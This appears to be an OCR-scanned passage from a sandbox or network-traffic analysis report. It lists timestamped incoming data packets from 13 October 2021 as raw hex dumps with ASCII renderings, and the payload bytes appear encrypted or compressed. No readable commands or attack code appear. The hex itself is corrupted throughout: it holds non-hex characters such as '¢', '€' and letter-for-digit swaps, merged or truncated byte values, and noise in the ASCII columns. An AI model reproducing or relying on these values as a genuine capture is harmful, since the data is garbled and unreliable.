25a8f2 5157 3e 32 17 55 d5 de 61 54 54 41 1a 18 9f 38 12 13 7f 0f 58 57 d5 ca 88 76 04 4c bb d5 e3 ab d5 71 90 dd c9
a2 b0 14 25 cO bd a8 10 11 63 e6 b3 2c 5¢ 66 c0 35 cd le 44 57 4c 4f 65 1d 2c f4 e5 cd 7d f1 21 ab ff d4 99 d8 el 11 9a
01 26 e6 19 22 aa 33 64 34 a8 f9 9e bb c8 e2 dc 4a 69 05 1c db b7 7d Of 6b 62 97 4d ae 30 f7 b6 c2 6e 81 d0 18 03 c7 b9
30 dd 2c cd 90 74 d9 b6 b5 8f 1f 6d 96 4b b8 cb bc eb fO cd 66 4b b8 e9 ae b4 88 f8 ed a0 17 a4 8b 1b 3d 76 bb e e5 5f
8afc 9a e4 fc 39 31 5e f2 84 24 a4 ed c9 51 bl bl 66 54
Data Ascii: NYZ6E&n:g'2",q<AbYV[H{j|BFF?}/%QW>2UaTTA8XWvLq%c,\f5DWLOe,}&"3d4Ji}kbMOn0,tmKfK=v_91"$QfT
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kBytes
Timestamp transferred Direction Data

2021-10-13 13:47:09 UTC 31 IN Data Raw: 8e c7 bc e2 77 0Of ¢3 3a 6f Ob 6b 2f 09 06 85 9d e7 be 17 ae 15 41 c¢8 dd 12 73 a3 85 0a b6 f0 93 05 d5 4b e7 a2
48 9e 72 25 f0 6a a5 ea 4b 22 99 cc Oc 00 97 80 6e 27 2d 51 76 06 ae e d5 4f da b6 17 55 fe 76 8c cd 52 9c 6f e4 c9 b0
le fa 39 08 95 9e 70 ce a6 47 e0 7a 4c 99 8a e8 7e 04 54 96 8c ca 27 33 66 25 40 cO de 7d 22 10 74 10 5f 1a 6e 6b a6 d5
bb 69 1f 45 ae c¢7 df bd b7 13 7c 92 1c 29 d3 e6 43 e6 e2 47 25 3¢ 57 68 04 9c 95 cb d9 8e 35 93 0f €8 4d eb 68 c4 30 e7
2e 26 d9 ca cc fe 66 e5 5f 85 ca fb 63 90 f0 01 b2 c9 52 a7 51 01 e9 0d b8 88 fa 93 53 Oa ab 36 9c 38 82 ce a9 f5 de 7c de
44 04 99 d6 17 7b 6b ac a6 5a 82 24 9d 9c bl b3 42 2e 02 ba f9 25 4f 18 d5 9d f6 d3 10 e7 11 28 38 b0 03 8f be 34 8b b5
06 f0 e1 30 f5 5¢ 62 2e 09 ef d8 27 0d 41 46 e2 35
Data Ascii: w:0k/AsKHr%jK"n'-QvOUVR09pGzL~T'3f%@}"t_nkiE|)CG%<Wh5Mh0.&f_cRQS68|D{kZ$B.%0(840\b.'AF5

2021-10-13 13:47:09 UTC 32 IN Data Raw: 00 77 a8 60 da 5c fe ab 16 64 45 ed be 93 2c¢ 8a 35 26 a8 59 fc 03 20 70 b8 0b 3f 23 ae 9a d3 c9 87 c9 29 af 5¢
06 8b d3 09 50 87 ba 23 aa 75 cd 98 0b 74 a3 69 3c ee 18 e5 bc 9f 3c a3 9b 77 e5 30 84 ee 85 cd d8 9c 31 75 70 ba d4
8e 1b 4b 97 88 c4 b9 42 b0 ee 84 fb 81 be 06 c0 89 c2 08 35 38 1c 50 Of fe 64 58 €5 55 e5 el 44 36 2e ¢3 50 56 3d f4 e0
02 72 fO 7f 9 5¢ df 6b a3 97 4e fd d1 63 6e 7b 78 Of 6d d6 20 8b da 8a c7 41 14 10 1c a2 83 c0 ad 4a 57 8¢ 22 83 1f 41 15
6¢C 1le 42 ba 6d 47 1d 0d Of 3a cb 18 d7 32 c6 13 9a ee 81 2a 09 85 35 4c bb le 1a 2e fc e2 6e 5c ef cO 88 07 ea 82 cb 8f
a6 ee ff fe d1 fd d6 92 50 53 10 f8 01 21 3f 02 36 a3 fd b0 41 3c €0 eb 26 15 db c4 70 4b 33 67 9b a0 d4 62 al 2c ac 7d d4
78 5a fc 88 48 d2 72 ae 0a 03 11 ad Ob e7 8a ac 64
Data Ascii: w\dE,5&Y p?#)\P#uti<<w01upKB58PdXUD6.PV=r\kNcn{xm AJW"AIBmG:2*5L.n\PS!?6A<&pK3gb,}xZHrd

2021-10-13 13:47:09 UTC 33 IN Data Raw: 65 66 78 cc 7d €5 b9 d0 96 09 41 70 e3 23 1e b6 69 70 75 b4 b9 9d 60 87 3a d1 52 50 92 33 e8 54 f8 c6 04 9c
6a b6 45 15 18 10 40 Oe de ce ff 48 91 e5 1c cd 21 d0 42 80 00 b5 7e 5e c6 3a f5 61 24 01 8f 6f 79 9d 47 98 7c 32 5f 00
9e 2d ed 74 4a 8d 5 69 ac 83 06 c7 7f 6a ef 5f 4a 9f 56 45 eb fb ef b1 8d 3e 79 19 ff b8 e2 54 db fO 76 b6 85 80 7b 5b 7d
96 95 06 19 55 24 29 dd 4d 43 54 42 16 7f 9f da bl a7 ca ed 76 4a 4c 53 4f a2 b4 d4 b6 56 f1 84 2b ce 91 22 f0 f9 92 23
d1 3d 5398 77 9c 1f 61 7a ce 4d 87 a3 4b c4 a5 5¢ 73 f4 4c 4f 40 59 97 27 9a 2b e5 e3 a6 1c b5 9¢c 67 e7 19 af 14 93 c7
96 94 23 ab f0 08 bb a5 5e 33 d3 c8 29 3a 80 ce e2 27 53 9a b6 3b ea 02 ae 58 a5 15 51 b7 92 32 1b 1b 30 ae c6 96 ac
7d c3 a9 19 41 f0 4b 7f d8 83 c7 1c e4 66 7e 31 6b 17 ac
Data Ascii: efx}Ap#ipu’:RP3T|E@QH!B~":a$0yG|2_-tJij_JVE>YTV{JU$)MCTBVILSOV+"#=SwazMK\sLO@Y'+g#"3):'S
i XQ20}AKf~1k

2021-10-13 13:47:09 UTC 34 IN Data Raw: 36 9c 38 9e 59 46 d8 07 7c de 98 07 97 53 d7 0f 78 79 8e 95 4d ff fb b4 02 08 69 18 60 fa d8 e8 a2 a7 02 7d fO
ba 69 5 e6 d5 68 da 2a 57 Ob 9c d6 6e 09 f7 cf 38 a5 b4 ff 75 32 ef 54 67 e5 c4 86 96 a5 50 66 37 22 32 35 32 e0 68 bb
69 8a 92 28 94 31 80 54 a8 4a 89 Oc 97 le 7d 42 2b e6 26 87 9c 73 Oe b7 6e Oc b4 Oa bb el 10 68 91 43 6b d7 43 7b 25
90 be fe 6f 69 81 69 31 69 e9 b9 c4 7a 0f b8 b5 2b c4 1c Oe 35 5b 4b 74 73 6f 65 a9 1c fe de e6 b2 f1 17 05 bl e7 b6 7f 9e
f0 e6 el eb ad ba 6f b7 Oe f3 bd 93 07 17 6f 72 72 03 cc 8e ec 5¢ 43 57 d2 2c f2 5¢ 68 4f 5a 35 12 21 91 el 91 89 e2 85 82
e53d 9282 a3 ¢899 67 7d ac 32 ef 41 8b a5 6a f3 5¢ e5 87 ed 5¢ e5 3 3b c6 48 6d e7 82 5a €5 7b 94 88 f0 4a 90 18 b4
41 3b 52 f1 73 65 af 6¢ 40 aa d6 61 36 a8 57 fd 93
Data Ascii: 68YF|SxyMi }ih*Wn8u2TgP{7"252hi(1TJ}B+&snhCkC{%oiiliz+5[Ktsoeoor\CW,\hOZ5!=g}2Aj\\;HmZ{
JA;Rsel@abW

2021-10-13 13:47:09 UTC 35 IN Data Raw: 42 6f b4 c0 d8 2d 83 35 fd 05 f4 6a 72 3b f1 de 96 dc 3d el 72 11 92 3b 9e 2c 87 5f e5 b6 7c af 6¢ 20 ec be 76
f1 6¢c db ad 78 ad 92 17 42 69 21 3c dd b2 f6 27 48 4b 60 30 58 19 41 7a 60 f6 ad 76 7f 91 92 4c d2 0d el 62 4f 56 41 le
3241 4d ac 75 fd e7 79 fe 35 c0 c8 4f 94 cd 12 b1 7a 18 el 7a 05 el 6¢ 3e 4d 13 bb 15 c9 35 aa d6 64 44 6f ad 8a 4f e5
la a0 f7 f0 a3 42 91 88 7e eb 87 83 2c 24 7 9b 8e b1 00 b1 9e 44 59 03 8b dd a2 27 ac 13 58 eb 4d 51 65 49 f6 Oc e3 9e
01 24 7a 7b 3c 4d 62 c1 a8 c4 ef 10 ff 4b 5e 3c df fd 29 fa d3 4a f4 93 ff c9 84 49 89 Ob 81 ac 35 79 35 d2 fO bb 04 12 e5
56 5f 04 b6 57 7f e2 8b b5 51 98 03 bf 34 d7 f1 d7 a4 51 72 20 3a 61 49 Oc bc 21 c4 8¢ 59 5f ca 7d dO 26 6f 18 69 75 8¢
02 0f 92 de 00 6¢ 17 21 2e 6d 57 26 38 89 ca 2a 24
Data Ascii: Bo-5jr;=r;,_|l VIXBi!l<'HK'0XAZ vLbOVA2AMuy50zz|>M5dDoOB~,$DY'XMQel$z{<MbK"<)JI5y5V_WQ4Qr
:allY_}&oiull. nW&8*$

2021-10-13 13:47:09 UTC 36 IN Data Raw: 3f 92 e6 26 bd a8 27 53 ¢8 9d 07 40 5e 65 45 b7 a7 5d cb 07 Oc 9f bd fc c3 e1 d9 d8 b1 17 78 Oc 0d €0 e4 34
ae 64 93 57 29 bd ed 9e 37 d4 23 dc 42 06 eb 49 71 c2 3e 6d b6 18 b2 f1 ca 6a 15 6d 9c 50 29 17 fd b1 90 47 5d cb 89 56
0a 44 1a 93 ed 7d 2c b3 68 be 38 31 84 32 74 c7 07 3 al fa 1b f5 3f 8¢ 3¢ ad 20 80 b0 €0 51 3¢ aa e2 70 b2 59 70 50 44
f1 95 cb f6 dd 51 5¢ €9 €9 48 ca €5 72 e6 4d 5c 97 18 32 54 c7 fd d3 a3 69 63 72 a7 be 59 65 d4 ef a8 83 49 53 74 e7 32
03c9 17 21 76 40 89 c2 8e af be 1e 91 29 64 c8 50 18 48 01 b7 3c 8b 64 ef 00 42 55 da 7b ce 46 ca fe 7c 8a €9 86 €6 d3
6a 55 da 21 7b 49 4a 71 33 a4 82 a3 1e 37 59 42 d5 3d 7b d9 ce 60 6¢ 48 9d al 51 4f 79 5e 14 64 15 f5 a3 22 6f fb c0 1b
70 2f 42 f0 01 b0 32 ¢3 7e 5a 7d 0a d5 81 99 c2 a6 c0 51
Data Ascii: 2&'S@"eE]x4dW)7#BIq>mjmP)G]VD},h812t?< Q<pYpPDQ\HIM\2TicrYelSt2lv@)dPH<dBU{F[jUK{1Jq37YB=
{IHQOy d"0p/B2~Z}Q

2021-10-13 13:47:09 UTC 38 IN Data Raw: 2d 1b 2b 53 d6 74 da 89 b0 1a 23 17 2e bf 06 1b 15 d7 cf 9c c0 5f af 7d d2 57 57 Oe dd 4a 6d aa be 37 1f ¢7 0d
a2 61 d8 07 09 fa 46 07 35 fb d7 Of f8 18 d3 22 f1 67 d9 1c b5 e7 aa 85 18 52 bf 27 Oe 4f d6 1b 5b 57 €8 9a 2a c7 37 84 24
1f 00 78 05 90 06 73 73 d0 55 61 66 09 8a 2b 53 60 bb 1c 81 96 26 2d 03 25 7b 5e 5d Of e0 68 6e fa bd d1 fe 4a 34 80 54
8 b3 4d 1e 77 f4 83 13 9d d0 34 4e 92 35 2b 4f 91 e4 4 2b af e0 43 bb 04 31 4a d7 cO ca 18 9e f9 c2 50 e4 3c cl 9a 7e cf
65 0f 51 7f a6 1a 97 d5 9f 9c b1 03 97 e7 90 7b 00 ef ce bc 1a cl 14 6b bb d2 b1 8d 30 e8 09 c7 ee 4d d3 6¢ 2c 32 74 58
bb 31 89 48 c4 78 4c e8 ab db ca 2d de fd Oc 07 7c 7f cf 68 b3 94 0a b3 b5 ab €9 8b a5 e3 d3 3d 26 ca 34 ac f4 0f 92 ba
9051 cd 17 11 63 Oe 9c f4 a3 99 bc Oe 31 ff 6b
Data Ascii: -+St#._}WWJIm7aF5"gR'O[W*7$xssUaf+S’ &-%{"hnJ4TMw4N5+0+C1IP<~eQ{kOMI,2tX1HXL-|h=&4Qc1k

2021-10-13 13:47:09 UTC 39 IN Data Raw: 3f b3 02 da d6 32 22 d5 bd c1 40 f9 b4 36 4b bl 47 f4 22 cO b7 10 52 52 b0 3a 2d 3f 0f 04 5b bc ff €8 1a 3b Of af
04 d1 d6 b1 97 23 86 c2 6f 19 31 a2 18 2d 67 b6 1d c7 d3 10 2b 84 5f 66 fb 29 d6 44 bl f9 34 31 52 69 4d 20 d2 f3 a8 2¢
fc 8 38 8b dd 39 30 1b cb 53 a0 al 2c 4b a9 32 5e 19 d7 35 ce ae 7f fO d4 4a f6 9 52 53 be el 25 1a 95 c9 71 7e 27 83
77 2e 17 c9 4c 43 cc 02 3a 41 38 35 71 b1 8a 08 68 1a 1la b5 3e cf 87 51 18 61 04 58 6d 09 38 fO 78 33 37 b5 2a 6e d4 01
56 ae Oe a7 69 34 90 fe 9a 4e b8 c7 a3 7c 59 78 f4 7d f4 8e eb ef e0 eb 27 49 e8 8f f3 00 70 ef 9e 1b 75 95 fb 18 6a €9 31
al 1d ce fd 4b 0d ef 94 f0 14 26 1f 68 63 Oe df cb d2 al 86 27 ea a8 33 63 2d b1 8c f9 c8 47 84 cc 8¢ ac dO 41 f4 32 47 26
ee 95 20 84 22 d8 f0 11 dd 5d f9 2c b5 2c 8c
Data Ascii: ?2"@6KG"RR:-?[;#01-g+_f)D41RiM ,890S,K2"5JRS%q~'w.LC:A85qh>QaXm8x37*nVi4N|Yx}'IpujlK&hc'3c-
GA2G& ",

2021-10-13 13:47:09 UTC 40 IN Data Raw: 9e 99 9f 77 04 5b f2 b4 09 4e fO d9 ae c9 27 c8 00 Oc 22 b7 fa 93 93 0f bb ac 3e ¢5 70 3b e4 14 f5 df 1f 54 d1
el 2af2 fe 26 20 02 23 41 2d ce c2 24 4e f8 8a be 98 c1 ¢7 27 8f ¢4 53 c4 bd 71 76 23 4a 85 9c 2f 5¢ 80 03 bl 7e de d4 3f
50 68 dc 43 30 25 2c ae 1a 7b 84 71 bb bf fO bc 66 2d 3e 33 92 36 62 93 65 €6 70 c1 53 7d 6d fb 66 16 cf ad 74 ad f1 08
b5 bd f1 al 69 af 61 a0 dc 2f 56 94 b0 cb c1 37 66 a2 12 54 1e a6 b6 df 9d 34 8a ee 75 29 8b b0 d9 e2 8e a3 e0 d6 54 59
Oc f7 e0 41 1f 42 a6 dd a0 11 73 17 3c 1e 5d e3 39 a2 dc 79 a4 ef 84 3f 75 4a b5 d8 27 49 e2 05 44 Oc fc d3 fd e9 fc d5 2b
7a 0a 9e 22 f7 8e 42 d8 70 Ob 9a f6 b4 73 eb 2b 72 9b 18 6¢ 65 46 53 54 77 c3 df 94 7b d7 14 92 b5 32 2f 01 bb 8e cb e3
e2fbee 97 21 a9 37 f2 f1 al b7 6a b4 a2 ab ad
Data Ascii: WN"'>p;T*& #A-$N'Sqv#J/\~?PhC0%,{qf->36bepS}mftia/V7fT4u) TYABs<]9y?uJ'|D+z"Bps+rleFSTw{2/!7]
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kBytes
Timestamp transferred Direction Data

2021-10-13 13:47:09 UTC 41 IN Data Raw: 5b 23 95 34 d7 74 d6 1a 58 fa 18 c2 63 dd a7 69 83 44 91 27 66 1e fa c0 3e 3f 68 07 75 b3 b8 55 9f 1a 1d d1
d9 4e ea 30 94 d2 d2 00 fd dd 2a b3 66 ed d5 04 bc 06 99 aa fd 63 ab 59 21 a2 ac a6 03 20 ee 3c 23 81 4d ca 85 fb 7f 4a
5a 78 6f ac 28 ce b7 25 5e c2 da ec e6 c1 26 3a b5 a7 4f a6 34 00 b6 13 cf Ob 8b df bd el 2f 15 6d d9 2c 28 df d5 af 3e c1
50 e4 3355 b7 2d 6b b5 11 a4 1c 8e 81 7a 1b b2 3b aa 8b 36 39 22 fb e2 el a8 ca 32 17 b8 1b 4e 7c df 09 cc f4 d5 9d 68
d7 eb d9 d2 45 0d 4c 7f 78 b1 b2 1c 17 d2 b9 55 de 40 7d 8e 95 16 08 bd b8 al 68 56 cc ff b3 1a 99 6a 9f 67 fb da 25 a3
7 64 5e 67 ff 90 Oc bd 9b af 87 e3 9a 67 b4 Oc fe 93 88 01 6¢ 0d 10 77 d2 ea 52 65 e7 ff f2 b4 6a b4 O ff b7 02 e3 1f 24 31
c5 e8 3f ce 56 8d c8 11 ea bd b6 ca 94 c2 5f 49
Data Ascii: [#4tXciD'f>?huUNO*fcY! <#MJZx0(%"&:04/m,(>P3U-kz;69"2N|hELXU@}hVjg%d gglwRej$1?V_|

2021-10-13 13:47:09 UTC 43 IN Data Raw: 6d 81 89 3a Oe 88 16 34 09 c3 1c 09 a8 ed ae 96 55 a3 9e 9d 6d €9 d3 61 dc 7b a6 df 7e a2 e6 3b Oc f8 74 87
fe a2 82 f5 ¢4 97 89 6a 62 5b 79 e2 a6 b7 Oc 62 80 0a 66 65 c5 dd 10 f4 c1 fO c7 df ec 45 ef ea 6¢ 7b 07 d3 b7 89 8e ca b8
69 9e c6 Oe 21 2d 21 17 df b5 90 af ¢4 09 f1 b9 62 a5 7f fe d6 b8 3b 41 40 36 3a 79 67 €9 3d ef 3d ba 55 60 7 3d df fe 36
9b 3c fc b7 64 0d 4f af 76 1f 41 ad Oa 44 8e fc c6 e7 ca 6b aa 28 a9 be 15 d6 94 1d 6a fO 2e d8 84 88 7f 28 52 18 ab b7 96
c5f8 7 79 3b 1c 9d cf ed 42 be 17 02 53 d1 4c 69 28 09 00 92 f6 74 b1 d3 ad bb be 63 c2 e7 32 65 22 d8 70 b9 a6 e 76
34 be 76 €9 74 60 b1 b0 40 3e ca f8 51 32 7a 98 03 8e 6d 68 €9 a2 4c €9 74 eb ca b6 b8 3d 1e fa 4f 64 43 e7 d1 8c db cd
e0 7a e3 5¢ b0 81 4f c3 5a b3 7b b6 1c 3a d9 9b
Data Ascii: m:4Uma{~;tjb[ybfeEKi!-'b;A@6:yg==U"=6<dOvADK(.(Ry;BSLi(tc2e"pv4vt @>Q2zmhLt=0dCz\OZ{:

2021-10-13 13:47:09 UTC 44 IN Data Raw: a7 3f bd 5d 36 05 91 02 1b c8 68 fc f4 9d 66 Ob cf b2 5e a7 €3 85 fc eb c5 b6 d2 c6 ¢8 61 d1 Oe 17 91 9a 1e eb
42 6b ee 5d 38 1f 72 9f 31 8f a8 0d 98 5d 19 7e fb 02 68 14 38 f2 5a 18 d3 26 52 bb 15 9a f6 95 18 e6 2c €3 57 9a 30 d4
d5 bd 7b 30 73 73 43 61 d1 82 a0 78 5¢c ce €2 27 53 9a b6 3b fc ff f7 1a 92 72 b5 24 39 46 08 b3 35 eb cd c7 ec d0 a5 fO
9d 3b 79 3e 73 d9 cf ff f8 3c 98 2c 47 85 df 18 26 3b 60 ee bb a3 9e ce 45 eb 7e b7 6d 57 f6 53 73 ba ad b3 f6 58 2a db a2
3fed al fa 90 3a 9b 06 59 45 e3 0d c9 14 24 f2 cf 4e a6 d9 8f ef d8 f1 8f 2e 9f 6a ce e4 28 dd 47 81 b0 d7 bf 9d 93 9b 01
78 46 6e ef €9 aa d7 eb ec b4 fa f8 55 9b 15 5a ba 4c c0 77 70 89 19 b2 f2 86 5d 64 16 55 c0 3a b5 24 36 59 18 79 b6 ff
7a df 63 dd 2c f4 03 f4 73 b4 9d 81 f3 4d c5 3¢
Data Ascii: ?]6hf*aBk]8r1]~h8Z&R,W0{0ssCax\'S;r$9F5;y>s<,G&; E~mWSsX*?:YE$N.j(GxFnUZLwp]dU:$6Yyzc,sM<

2021-10-13 13:47:09 UTC 45 IN Data Raw: 4c 99 2b 03 7f 04 54 86 94 ca 27 07 66 2d b4 cc de 7d 6 b3 78 4c 5¢c 06 3a 22 a6 1f 70 d7 5f 20 9c Oe de c8 c2
d8 c2 07 8f d6 a4 65 60 bd 05 d8 5a 7d 4f 69 55 11 e5 22 b1 b0 dc 8f 77 d7 b0 30 94 16 2d 27 22 70 Oc dd 36 6c 7d 0d e7
45 ¢7 a5 78 4b 9e 19 7d 12 97 b7 f0 ff 17 5f 51 35 b9 24 db 89 20 d3 42 3f 07 13 a9 25 f8 83 8f 2f f9 99 52 d7 8c bc 2f 56
a9 e7 b5 da da a9 bl 71 fc 6a 54 bd 4d 4e 4a b3 ad 99 ad 17 e6 be bl el 4f 99 27 a9 6f bb 16 07 72 25 50 al b5 99 f6 84
62 b3 le fa 3b d7 1b 73 dd 24 df 33 a6 e2 32 88 6¢ ec 3e b9 df ¢5 72 c8 7f ab a8 4a 49 Oe 3b 09 8b 03 19 10 cd 5b el d9
7e 0d 61 b4 4b 76 52 db 9c 80 83 f2 ae e3 45 7f 4d 5¢ f5 ¢7 8¢ b5 d4 5b cf 97 16 b9 42 5d 79 7c ba 9e 5e da 08 3b 7f 16 fa
32 7b 6b ef 1c fb cc 82 1c d8 70 8a ec 4e 3e b9
Data Ascii: L+T'f-}xL\:"p_ e Z}OiU"w0-"p6I}ExK}_Q5% B?%/R/VqjTMNJO'0r%Pb;s$32[>rJI;[~aKvREM\[B]y|"; 2{kpN>

2021-10-13 13:47:09 UTC 47 IN Data Raw: 78 fe b7 6e 28 e7 44 65 0f 92 3d f7 88 7f 51 a8 b6 d7 05 d6 30 2b 78 ba 69 8d 8c 4a e6 79 a5 16 68 3c 65 57
bd 8c a3 4a 8e a5 68 3a c0 b5 1f 96 46 €9 d9 al 6d a8 63 93 21 1b 75 d3 d8 Oa 6f 2b 3e b0 e8 0a Oa da 5d 7d 6¢ 0d 9a Od
al d8 la da 50 55 cb a0 32 4b f0 5d 62 89 25 4 82 46 Ob Oe d7 a4 f1 65 bf Oe Of ae 08 Oa f4 b4 02 ad d5 7 c5 fe 5a 97 18
2d e4 f9 40 6f b0 bb 1e Oe 6d 5d 37 39 53 84 a2 37 fa b2 f1 44 3 a3 fd 5b 92 ¢6 46 30 7c f8 54 01 38 a2 Ob 8a 30 63 80
02 al 3ad7 d9 00 7e ed ad 7d 87 el f2 3c 6d 92 aa ca 16 e3 c4 e7 d9 4b f3 72 97 25 20 b3 02 26 93 e2 49 7f eb 33 a9 5b
14 00 00 e5 4f a5 ba ad cf 88 49 d6 3f Of 21 89 08 f6 c4 18 a8 17 f2 ee 29 49 c5 ca 9d 10 e0 e0 95 90 1a 40 10 81 a4 95
ad 1a 32 39 dd 3d 8c ff 1b 08 44 f5 c2 ad fc 9d 55 38
Data Ascii: xn(De=Q0+xiJyh<eWJh:Fmc!uo+>]}IPU2K]b%FeZ-@om]79S7D[FO0|T80c:~}<mKr% &I3[OI1?!)|@29=DU8

2021-10-13 13:47:09 UTC 48 IN Data Raw: 72 bc 14 62 c4 8b 71 75 ac e4 cc 9d 38 ab 55 af ee b2 8a 46 8e €6 c2 7d 82 4b bf 9e e7 7c 8f 5¢c a4 a7 ba df 29
46 d7 e9 7a Oa fe 75 b7 a7 da ed 1e c3 29 5f a7 Ob 04 3c 49 2a be 5¢ 21 Oc 1c 15 43 ae c2 10 11 17 03 d6 96 78 66 05 06
1f da 88 23 4b b1 df 9a 32 55 97 89 26 bl ac 36 9b a2 33 d7 39 c4 32 98 67 e7 4a 24 7a 5b 9a 0d da e5 51 2a ce bc al 4d
d7 de ¢8 22 d6 b5 8a 16 77 02 97 03 9e 18 33 a2 12 ba 37 d9 c3 b3 fc 7c d5 d0 d0 dO 77 d9 1b f1 f6 24 9d a0 cO 6e e4 44
€8 f0 d5 66 a0 74 54 02 d7 54 31 bf f0 17 c1 65 17 6d fb b5 3a 34 25 b5 d4 51 47 f4 c4 ba c6 35 76 7c 4c 0a 79 fa 90 3b 8e
321 06 4b 49 61 e3 af 34 1b Oa af d0 54 f3 7e 85 95 f0 98 ed 08 e6 1a 54 ef d4 71 16 35 0a 50 ff 8b 28 47 46 af 49 49 5e
1c 6fc2 ff 91 1c 93 16 d3 cf 4d 38 c8 fa e4 f5
Data Ascii: rbqu8UF}K|\)Fzu)_<IMICxf#K2U&639293$z[Q*M"w37|w$nDftTT1em:4%QG5v|Ly;!Kla4T~Tq5P(GFII*oM8

2021-10-13 13:47:09 UTC 49 IN Data Raw: a9 ca 3c 6d 67 1b 30 62 b5 65 91 d2 a1 4c 33 00 9c b4 99 1 9c el 05 3b 08 75 4f 39 47 65 7a 6b 8f 9f 89 9d
da 7a 87 27 cf f1 57 68 8e 97 55 47 c1 a2 42 76 41 cf 37 a6 8e fa 97 f5 05 2¢ 31 1e fb 30 23 0d bd 34 54 b0 0f 57 08 05 3e
64 bc 60 ac 33 7a 4f e2 41 94 ¢5 75 0b 83 ec 93 8¢ a3 02 47 b8 54 46 b8 6 26 8f a9 4d 15 €5 21 0 7a 3d d1 3e dc 12 d4
9 cc 4f dc d2 e2 12 2a c2 7a 3f 5f 8f d2 ab 64 49 14 52 5d be 27 84 b8 d6 98 9e ca d8 32 52 bb a5 04 fd 0f 49 c5 51 77 a7
c9 ee 8d 1a e5 18 c5 f4 bf c4 3 55 e8 19 b8 5¢ 1d d2 fa 62 a6 99 53 b5 06 06 2f 80 a4 b4 99 16 57 64 be be c6 93 bS5 56 4e
2b 74 37 2d 6 6e bf 9a 94 12 c1 8 34 ¢9 17 4b 7c ab 07 2f 10 04 6a el e8 6d 95 85 c2 f0 e6 74 99 48 c3 Oc 18 d7 ba el
29 fe Oe f4 68 28 3f 40 5f 15 2e 62 84 15 3¢ 91
Data Ascii: <mgObel 3;u09Gezkz WhUGBVA7, 10#4TW>d'3zOAUGTF&M!z=>0*2?_dIR]'2RIQWU\bS/WAVN+t7-n4K [fjmtH)
h(?@_.b<

2021-10-13 13:47:09 UTC 50 IN Data Raw: 89 a8 36 92 d2 3d f7 6a 2f 84 06 e4 96 e5 be b9 15 2a 3b 55 29 85 8d d7 95 63 ae 7c¢ 07 90 17 87 19 5d 4a 9b
72 38 2f 94 5a 52 d2 78 ad 10 04 al ec 4c 51 25 a3 df b1 7a 5a ed a7 44 €0 cc 84 fb €9 a2 e3 cc 20 cc 25 f4 4d b2 1e fa df
4d Oe cc 3a ce 2a 46 e0 7a 6e 71 ff ae b8 81 a7 34 7b b6 8e Ob ad a8 7f bb 5d 7d 8c 85 65 43 db 05 70 2e 26 33 7f 12 4f
cb 51 53 5b 55 al 38 74 17 51 d8 1d 91 c9 15 d8 de 6f 16 b0 96 fb cd c3 cb 22 0d cb 6¢ 01 bd ab 47 16 fd fc Ob cb d7 8f
22 8b 45 66 e5 dc 2b 9c cf 79 7d 9c dO 34 a0 3b a0 50 16 c9 bf 2d Oe 24 ee 61 2e 54 c9 9c 38 ca cc 4e 6e ff 94 63 36 cO
91 39 df 65 7b 41 5a ea ad d4 a6 25 56 59 fe ce fd ad b0 fb 8e 9b fa 24 2b db 65 fd 12 28 97 8b 91 45 a7 90 53 38 92 36
cl c4 5a 4b 1a 32 0d bd b3 aa fb c4 86 1b a3 c1 88 c8
Data Ascii: 6=j/*;U)c|]Ir8/ZRxLQ%zZD %MM:*Fzng4{]}eCp.&30QS[U8tQ0"IG"Ef+y}4;P-$a. TBNNc69e{AZ%VY $+e(E
S86ZK2

2021-10-13 13:47:09 UTC 51 IN Data Raw: 9b 25 a4 21 11 5a 05 6f 3d 4f 02 85 ae 5¢ bb c9 7 22 21 {3 14 f0 8e 35 63 cd d3 89 ad 5b €5 89 12 ac 6b 11 46
79 65 b5 eb 22 9b e3 d6 46 46 ff f1 a0 4a 68 85 4a fb 05 5¢ 9d 9f 23 a5 db 4a 25 71 al 84 67 4f 08 55 c4 1a 62 02 79 f8 e8
6 48 b2 34 20 80 c2 6¢ 84 fc 0d de 64 a5 a8 97 79 be a8 30 cd 3c ¢6 f4 €9 89 f1 53 cf 60 88 17 72 60 Oa 6e 18 56 b3 6¢
a6 2d 42 0d 72 4a 70 1a ch 82 4a d7 1c f8 ¢5 72 11 4b 5¢ 33 35 7b 41 d9 dc e4 01 05 e4 91 d8 66 Of 13 de 38 87 de al 82
5 e2 5e 8¢ d2 2e 5b 55 el a6 b7 71 22 c1 34 d4 29 15 08 b1 86 36 3 78 60 fd f7 bd 9b a5 7b 07 7e 6b Ob 51 fd 7f 6f 6e 35
99 87 71 20 bc 8e 72 7f 97 53 14 14 cb 54 0d ee d8 53 84 47 7a bb 26 f9 ff 3b 78 50 eb 45 45 aa a3 33 28 58 f9 ¢7 d6 48
14 c5 2afl 1b fb 4e 4a 56 Oc 4d ba 89 f4 cf b6
Data Ascii: %!Z0=0\"I5c[kFye"FFJhJ\#J%qgOUbyH4 Idy0<S'r nVI-BripJrK\35{Af8".[Uq"4)6x {~kQon5q rSTSGz
&XPEE3(XH*NJVM

2021-10-13 13:47:09 UTC 52 IN Data Raw: 14 72 4c ef a7 1c fa 94 dO 7e 63 ce 89 c8 a0 3b e3 ce 1f 97 bc d6 80 ba 40 92 59 81 d9 44 82 04 0a 95 1e e8
19 4f 46 a8 29 fa 74 Oc 22 91 69 89 25 46 le bc d2 Oe 34 62 87 96 57 c1 ec 81 75 f3 20 08 14 Oc 99 92 b0 0f 51 f4 a5 37
9c 29 60 Ob 38 c7 ba 5 fa 7b 69 2f cf b4 5a 85 49 83 fb e2 24 8d 4f d3 ea ff be 5a f4 d7 72 6f 34 41 1b 61 ef 16 92 90 06
47 df ¢l 1c 1e 37 4e d9 97 7c 83 37 e2 e7 f1 22 27 94 3c f6 d2 2a e3 79 2a 49 84 dd 12 45 ¢8 14 58 d9 51 cd 10 77 ea 9a
le f2 a0 99 bc 7¢ 5¢ 25 7b dc b4 94 c0 b4 98 a5 1a 90 9b f4 ac c2 64 d4 37 71 5a 04 85 65 98 64 dd 8f a2 93 96 4e 72 57
52 84 1b 3c c9 45 fc €6 40 0d 35 6f 99 0a 5b b1 3b 14 90 2f 31 a0 91 f3 a2 5c¢ ff 38 46 a6 15 89 b2 c2 4b 31 a7 07 84 8e
ee 36 6b fa 4e 4b 06 7b bf 66 2d ba €9 5a Oc 47 2d 5¢
Data Ascii: rL~c;@YDOF)t"i%F4bWu Q7) 8{i/ZI$OZro4AaG7N|7"'<*y*IEXQw|\%{d7qZedNrWR<E@50[;/1\8FK16kNK{f-ZG-
\
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kBytes
Timestamp transferred Direction Data

